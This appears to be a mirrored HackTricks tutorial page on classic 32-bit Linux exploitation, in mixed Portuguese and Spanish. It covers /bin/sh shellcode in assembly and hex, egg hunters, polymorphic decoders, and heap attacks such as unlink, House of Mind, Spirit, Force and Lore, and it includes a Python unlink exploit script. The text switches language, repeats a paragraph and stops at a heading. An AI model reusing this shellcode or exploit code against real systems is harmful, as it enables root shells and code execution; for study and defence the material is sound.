mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
493 lines
30 KiB
Markdown
493 lines
30 KiB
Markdown
|
# Exploração Linux (Básico)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Outras maneiras de apoiar o HackTricks:
|
|||
|
|
|||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## **2.SHELLCODE**
|
|||
|
|
|||
|
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
|||
|
|
|||
|
setreuid(0,0); // \_\_NR\_setreuid 70\
|
|||
|
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
|||
|
exit(0); // \_\_NR\_exit 1
|
|||
|
|
|||
|
xor eax, eax ; limpiamos eax\
|
|||
|
xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
|
|||
|
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
|||
|
int 0x80 ; Executar syscall
|
|||
|
|
|||
|
**nasm -f elf assembly.asm** —> Retorna um .o\
|
|||
|
**ld assembly.o -o shellcodeout** —> Gera um executável com o código assembly e podemos extrair os opcodes com **objdump**\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
|
|||
|
|
|||
|
**Verificar se o shellcode funciona**
|
|||
|
```
|
|||
|
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
|||
|
|
|||
|
void main(){
|
|||
|
void (*fp) (void);
|
|||
|
fp = (void *)shellcode;
|
|||
|
fp();
|
|||
|
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
|
|||
|
|
|||
|
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que possamos apontar para a string com esse EIP e continuar executando o código.
|
|||
|
|
|||
|
EXEMPLO **TRUQUE (/bin/sh)**:
|
|||
|
```
|
|||
|
jmp 0x1f ; Salto al último call
|
|||
|
popl %esi ; Guardamos en ese la dirección al string
|
|||
|
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
|||
|
xorl %eax, %eax ; eax = NULL
|
|||
|
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
|||
|
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
|||
|
movl $0xb, %eax ; Syscall 11
|
|||
|
movl %esi, %ebx ; arg1=“/bin/sh”
|
|||
|
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
|||
|
leal 0xc(%esi), %edx ; arg3 = NULL
|
|||
|
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
|||
|
xorl %ebx, %ebx ; ebx = NULL
|
|||
|
movl %ebx, %eax
|
|||
|
inc %eax ; Syscall 1
|
|||
|
int $0x80 ; exit(0)
|
|||
|
call -0x24 ; Salto a la primera instrución
|
|||
|
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
|||
|
```
|
|||
|
**EJ usando o Stack(/bin/sh):**
|
|||
|
```
|
|||
|
section .text
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
xor eax, eax ;Limpieza
|
|||
|
mov al, 0x46 ; Syscall 70
|
|||
|
xor ebx, ebx ; arg1 = 0
|
|||
|
xor ecx, ecx ; arg2 = 0
|
|||
|
int 0x80 ; setreuid(0,0)
|
|||
|
xor eax, eax ; eax = 0
|
|||
|
push eax ; “\0”
|
|||
|
push dword 0x68732f2f ; “//sh”
|
|||
|
push dword 0x6e69622f; “/bin”
|
|||
|
mov ebx, esp ; arg1 = “/bin//sh\0”
|
|||
|
push eax ; Null -> args[1]
|
|||
|
push ebx ; “/bin/sh\0” -> args[0]
|
|||
|
mov ecx, esp ; arg2 = args[]
|
|||
|
mov al, 0x0b ; Syscall 11
|
|||
|
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
|||
|
```
|
|||
|
**EJ FNSTENV:**
|
|||
|
```
|
|||
|
fabs
|
|||
|
fnstenv [esp-0x0c]
|
|||
|
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
|
…
|
|||
|
```
|
|||
|
**Buscador de Ovos:**
|
|||
|
|
|||
|
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali armazenada (procura por alguma assinatura na shellcode). Útil nos casos em que há pouco espaço disponível para injetar código.
|
|||
|
|
|||
|
**Shellcodes Polimórficos**
|
|||
|
|
|||
|
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
|
|||
|
```
|
|||
|
global _start
|
|||
|
_start:
|
|||
|
jmp short magic
|
|||
|
init:
|
|||
|
pop esi
|
|||
|
xor ecx, ecx
|
|||
|
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
|||
|
desc:
|
|||
|
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
|||
|
sub cl, 1
|
|||
|
jnz desc
|
|||
|
jmp short sc
|
|||
|
magic:
|
|||
|
call init
|
|||
|
sc:
|
|||
|
;Aquí va el shellcode
|
|||
|
```
|
|||
|
## **5. Métodos complementares**
|
|||
|
|
|||
|
**Técnica de Murat**
|
|||
|
|
|||
|
Em Linux, todos os programas são mapeados a partir de 0xbfffffff.
|
|||
|
|
|||
|
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de forma que o programa seja iniciado em um ambiente onde a única variável seja a shellcode. O endereço dela pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME_do_executável_completo) - strlen(shellcode).
|
|||
|
|
|||
|
Dessa forma, é possível obter facilmente o endereço onde está a variável de ambiente com a shellcode.
|
|||
|
|
|||
|
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
|
|||
|
|
|||
|
### **Strings de Formato para Estouro de Buffer**
|
|||
|
|
|||
|
O **sprintf** move uma string formatada para uma variável. Portanto, é possível abusar da formatação de uma string para causar um estouro de buffer na variável para onde o conteúdo é copiado. Por exemplo, a carga útil `%.44xAAAA` irá escrever 44B+"AAAA" na variável, o que pode causar um estouro de buffer.
|
|||
|
|
|||
|
### **Estruturas \_\_atexit**
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Atualmente é muito raro explorar isso.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
O `atexit()` é uma função para a qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um `exit()` ou o retorno do `main`. Se for possível modificar o endereço de qualquer uma dessas funções para apontar para uma shellcode, por exemplo, você ganhará controle sobre o processo, mas atualmente isso é mais complicado. Atualmente, os endereços das funções a serem executadas estão ocultos por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86. A função de criptografia é `PTR_MANGLE`. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque retornam o mesmo que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
|
|||
|
|
|||
|
### **setjmp() & longjmp()**
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Atualmente é muito raro explorar isso.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
`Setjmp()` permite salvar o contexto (os registradores). `longjmp()` permite restaurar o contexto. Os registradores salvos são: `EBX, ESI, EDI, ESP, EIP, EBP`. O que acontece é que EIP e ESP são passados pela função `PTR_MANGLE`, então as arquiteturas vulneráveis a esse ataque são as mesmas mencionadas anteriormente. Eles são úteis para recuperação de erros ou interrupções. No entanto, pelo que li, os outros registradores não são protegidos, então se houver um `call ebx`, `call esi` ou `call edi` dentro da função chamada, o controle pode ser assumido. Ou também poderia modificar EBP para modificar o ESP.
|
|||
|
|
|||
|
### **VTable e VPTR em C++**
|
|||
|
|
|||
|
Cada classe tem uma Vtable que é um array de ponteiros para métodos.
|
|||
|
|
|||
|
Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se for possível sobrescrever o VPtr, ele poderia ser modificado para apontar para um método fictício, de modo que a execução de uma função vá para a shellcode.
|
|||
|
|
|||
|
## **Medidas preventivas e evasões**
|
|||
|
|
|||
|
### **Substituição do Libsafe**
|
|||
|
|
|||
|
Ativado por: LD_PRELOAD=/lib/libsafe.so.2 ou "/lib/libsave.so.2" > /etc/ld.so.preload
|
|||
|
|
|||
|
Intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
|
|||
|
|
|||
|
### **Espaço de Endereço ASCII Armored**
|
|||
|
|
|||
|
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
|
|||
|
|
|||
|
### **ret2plt**
|
|||
|
|
|||
|
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o segundo byte de system()... Por fim, é chamado o endereço armazenado na GOT que será system().
|
|||
|
|
|||
|
### **Jaulas com chroot()**
|
|||
|
|
|||
|
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
|
|||
|
|
|||
|
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
|
|||
|
|
|||
|
### **Instrumentação de código**
|
|||
|
|
|||
|
Valgrind —> Procura por erros Memcheck RAD (Return Address Defender) Insure++
|
|||
|
Al chamar unlink(), o P->fd usará os primeiros dados do 2º chunk, onde será inserido o endereço a ser sobrescrito - 12 (pois em FD->bk será somado 12 ao endereço guardado em FD). E nesse endereço será inserido o segundo endereço encontrado no 2º chunk, que deve ser o endereço da shellcode (P->bk falso).
|
|||
|
|
|||
|
**from struct import \***
|
|||
|
|
|||
|
**import os**
|
|||
|
|
|||
|
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
|||
|
|
|||
|
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
|||
|
|
|||
|
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
|||
|
|
|||
|
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
|||
|
|
|||
|
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
|
|||
|
|
|||
|
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
|
|||
|
|
|||
|
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
|
|||
|
|
|||
|
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
|
|||
|
|
|||
|
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
|
|||
|
|
|||
|
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
|
|||
|
|
|||
|
**os.system("./8.3.o " + payload)**
|
|||
|
|
|||
|
**unset() liberando en sentido inverso (wargame)**
|
|||
|
|
|||
|
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
|
|||
|
|
|||
|
En ese caso:
|
|||
|
|
|||
|
En el chunck c se pone el shellcode
|
|||
|
|
|||
|
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
|
|||
|
|
|||
|
Además, se sobreescribe en la cabecera b el size para que valga -4.
|
|||
|
|
|||
|
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
|
|||
|
|
|||
|
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
|
|||
|
|
|||
|
**Técnica de Frontlink**
|
|||
|
|
|||
|
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
|
|||
|
|
|||
|
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
|
|||
|
|
|||
|
Necesita:
|
|||
|
|
|||
|
Un buffer que pueda desbordarse con la función de entrada de datos
|
|||
|
|
|||
|
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
|
|||
|
|
|||
|
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
|
|||
|
|
|||
|
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
|
|||
|
|
|||
|
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
|
|||
|
|
|||
|
**Vulnerabilidad double free()**
|
|||
|
|
|||
|
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
|
|||
|
|
|||
|
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
|
|||
|
|
|||
|
**After free()**
|
|||
|
|
|||
|
Un puntero previamente liberado es usado de nuevo sin control.
|
|||
|
|
|||
|
## **8 Heap Overflows: Exploits avanzados**
|
|||
|
|
|||
|
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
|
|||
|
|
|||
|
**The house of mind**
|
|||
|
|
|||
|
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
|
|||
|
|
|||
|
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
|
|||
|
|
|||
|
mstate ar\_ptr;
|
|||
|
|
|||
|
mchunkptr p;
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
\_int\_free(ar\_ptr, mem);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
|
|||
|
|
|||
|
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
|
|||
|
|
|||
|
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
|
|||
|
**\_int\_free(mstate av, Void\_t\* mem){**\
|
|||
|
…\
|
|||
|
bck = unsorted\_chunks(av);\
|
|||
|
fwd = bck->fd;\
|
|||
|
p->bk = bck;\
|
|||
|
p->fd = fwd;\
|
|||
|
bck->fd = p;\
|
|||
|
fwd->bk = p;
|
|||
|
|
|||
|
..}
|
|||
|
|
|||
|
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
|
|||
|
|
|||
|
Tal y como se define unsorted\_chunks, sabemos que:\
|
|||
|
bck = \&av->bins\[2]-8;\
|
|||
|
fwd = bck->fd = \*(av->bins\[2]);\
|
|||
|
fwd->bk = \*(av->bins\[2] + 12) = p;
|
|||
|
|
|||
|
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
|
|||
|
|
|||
|
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
|
|||
|
|
|||
|
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
|
|||
|
En el segundo fragmento e graças ao primeiro, sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
|
|||
|
|
|||
|
Em seguida, no fragmento 2, colocamos muitos nops e, finalmente, a shellcode
|
|||
|
|
|||
|
Dessa forma, \_int\_free(TROÇO1, TROÇO2) será chamado e seguirá as instruções para escrever em \_\_DTOR_END\_\_ o endereço do prev_size do TROÇO2, que saltará para a shellcode.
|
|||
|
|
|||
|
Para aplicar essa técnica, alguns requisitos adicionais precisam ser atendidos, o que complica um pouco mais o payload.
|
|||
|
|
|||
|
Essa técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local apontado também está apontando para ele.
|
|||
|
|
|||
|
**Fastbin**
|
|||
|
|
|||
|
É uma variante de The house of mind
|
|||
|
|
|||
|
Interessa-nos executar o código seguinte, que é alcançado após a primeira verificação da função \_int\_free()
|
|||
|
|
|||
|
fb = &(av->fastbins\[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2
|
|||
|
|
|||
|
…
|
|||
|
|
|||
|
p->fd = \*fb
|
|||
|
|
|||
|
\*fb = p
|
|||
|
|
|||
|
Dessa forma, se colocarmos em "fb" o endereço de uma função na GOT, nesse endereço será colocado o endereço do troço sobrescrito. Para isso, é necessário que a arena esteja próxima dos endereços de dtors. Mais especificamente, av->max_fast deve estar no endereço que vamos sobrescrever.
|
|||
|
|
|||
|
Dado que com The House of Mind vimos que controlávamos a posição do av.
|
|||
|
|
|||
|
Então, se no campo size colocarmos um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos retornará fastbins\[-1\], que apontará para av->max_fast
|
|||
|
|
|||
|
Neste caso, av->max_fast será o endereço que será sobrescrito (não para onde aponta, mas essa posição será sobrescrita).
|
|||
|
|
|||
|
Além disso, é necessário que o troço contíguo ao liberado seja maior que 8 -> Dado que dissemos que o tamanho do troço liberado é 8, neste troço falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no troço liberado, então no início teremos que colocar um jump que caia em nops).
|
|||
|
|
|||
|
Além disso, esse mesmo troço falso deve ser menor que av->system_mem. av->system_mem está 1848 bytes adiante.
|
|||
|
|
|||
|
Devido aos nulos de \_DTOR_END\_ e às poucas direções na GOT, nenhum desses endereços dessas seções serve para ser sobrescrito, então vejamos como aplicar fastbin para atacar a pilha.
|
|||
|
|
|||
|
Outra forma de ataque é redirecionar o **av** para a pilha.
|
|||
|
|
|||
|
Se modificarmos o size para ser 16 em vez de 8, então: fastbin_index() nos retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha.
|
|||
|
|
|||
|
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, temos que encontrar o seguinte: 4 bytes nulos + EBP + RET
|
|||
|
|
|||
|
Os 4 bytes nulos são necessários para que o **av** esteja nesse endereço e o primeiro elemento de um **av** é o mutex que deve ser 0.
|
|||
|
|
|||
|
O **av->max_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
|
|||
|
|
|||
|
No **av->fastbins\[0\]** será sobrescrito com o endereço de **p** e será o RET, assim a execução saltará para a shellcode.
|
|||
|
|
|||
|
Além disso, em **av->system_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.
|
|||
|
|
|||
|
Além disso, é necessário que o troço contíguo ao liberado seja maior que 8 -> Dado que dissemos que o tamanho do troço liberado é 16, neste troço falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no troço liberado, então no início teremos que colocar um jump que caia em nops que vêm após o campo size do novo troço falso).
|
|||
|
|
|||
|
**The House of Spirit**
|
|||
|
|
|||
|
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow para uma variável).
|
|||
|
|
|||
|
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do troço falso deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é chamado um malloc(40), o tamanho do troço falso deve ser igual a 48.
|
|||
|
|
|||
|
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.
|
|||
|
|
|||
|
Caso isso seja cumprido, quando o próximo malloc for chamado, que dissemos que era malloc(40), o endereço do EBP será atribuído como endereço. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
|
|||
|
|
|||
|
Acredito que isso ocorre porque, quando liberado com free(), é guardado que no endereço que aponta para o EBP da pilha há um troço de tamanho perfeito para o novo malloc() que deseja reservar, então ele atribui esse endereço.
|
|||
|
|
|||
|
**The House of Force**
|
|||
|
|
|||
|
É necessário:
|
|||
|
|
|||
|
* Um overflow para um troço que permita sobrescrever o wilderness
|
|||
|
* Uma chamada para malloc() com o tamanho definido pelo usuário
|
|||
|
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
|
|||
|
|
|||
|
O primeiro passo é sobrescrever o tamanho do troço wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória suficientemente grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
|
|||
|
|
|||
|
O segundo passo é alterar o av->top para que aponte para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
|
|||
|
|
|||
|
Devemos sobrescrever av->top para que aponte para a área de memória sob o controle do atacante:
|
|||
|
|
|||
|
vítima = av->top;
|
|||
|
|
|||
|
restante = chunck_at_offset(vítima, nb);
|
|||
|
|
|||
|
av->top = restante;
|
|||
|
|
|||
|
A vítima obtém o valor do endereço do troço wilderness atual (o av->top atual) e o restante é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
|
|||
|
|
|||
|
0xbffff224 - 0x080c2788 = 3086207644.
|
|||
|
|
|||
|
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
|
|||
|
|
|||
|
É importante que o tamanho do novo troço wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
|
|||
|
|
|||
|
**The House of Lore**
|
|||
|
|
|||
|
**Corrupção SmallBin**
|
|||
|
|
|||
|
Os troços liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, são armazenados em unsorted bins. Quando um troço é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo troço for alocado e o anteriormente liberado puder ser útil, ele será retornado, mas se for alocado um troço maior, o troço liberado em unsorted bins será colocado em seu bin apropriado.
|
|||
|
|
|||
|
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max_fast (normalmente 72) e menor que MIN_LARGE_SIZE (512).
|
|||
|
Si houver um pedaço no bin do tamanho adequado ao que é solicitado, ele é devolvido após ser desvinculado:
|
|||
|
|
|||
|
bck = victim->bk; Aponta para o pedaço anterior, é a única informação que podemos alterar.
|
|||
|
|
|||
|
bin->bk = bck; O penúltimo pedaço se torna o último, caso bck aponte para o stack no próximo pedaço reservado, ele receberá esse endereço.
|
|||
|
|
|||
|
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin.
|
|||
|
|
|||
|
São necessários:
|
|||
|
|
|||
|
Reservar dois mallocs, de modo que o primeiro possa sofrer overflow depois que o segundo for liberado e inserido em seu bin (ou seja, um malloc maior que o segundo pedaço deve ser reservado antes do overflow)
|
|||
|
|
|||
|
O malloc reservado ao qual o atacante dá o endereço escolhido precisa ser controlado pelo atacante.
|
|||
|
|
|||
|
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tem um pedaço liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Se alterarmos seu ponteiro bk e esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o último pedaço da lista (o próximo a ser oferecido) está no endereço falso que definimos (como o stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, ele receberá um pedaço na posição desejada e poderá escrever nele.
|
|||
|
|
|||
|
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos bins não ordenados e seja inserido em seu bin.
|
|||
|
|
|||
|
Uma vez em seu bin, é hora de modificar o ponteiro bk através do overflow para que ele aponte para o endereço que queremos sobrescrever.
|
|||
|
|
|||
|
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está no endereço falso. Em seguida, o pedaço desejado será fornecido.
|
|||
|
|
|||
|
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reserva do pedaço vulnerável, reserva do pedaço a ser modificado, liberação desse pedaço, reserva de um pedaço maior do que o a ser modificado, modificação do pedaço (vulnerabilidade), reserva de um pedaço do mesmo tamanho do vulnerado e reserva de um segundo pedaço do mesmo tamanho, que será o que aponta para o endereço escolhido.
|
|||
|
|
|||
|
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado no stack está apontando para a vítima. Para superar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente no stack) no endereço adequado o endereço da vítima. Para que pareça um pedaço verdadeiro.
|
|||
|
|
|||
|
**Corrupção LargeBin**
|
|||
|
|
|||
|
São necessários os mesmos requisitos que antes e mais alguns, além disso, os pedaços reservados devem ser maiores que 512.
|
|||
|
|
|||
|
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
|
|||
|
|
|||
|
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado)
|
|||
|
|
|||
|
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
|
|||
|
|
|||
|
**Heap Spraying**
|
|||
|
|
|||
|
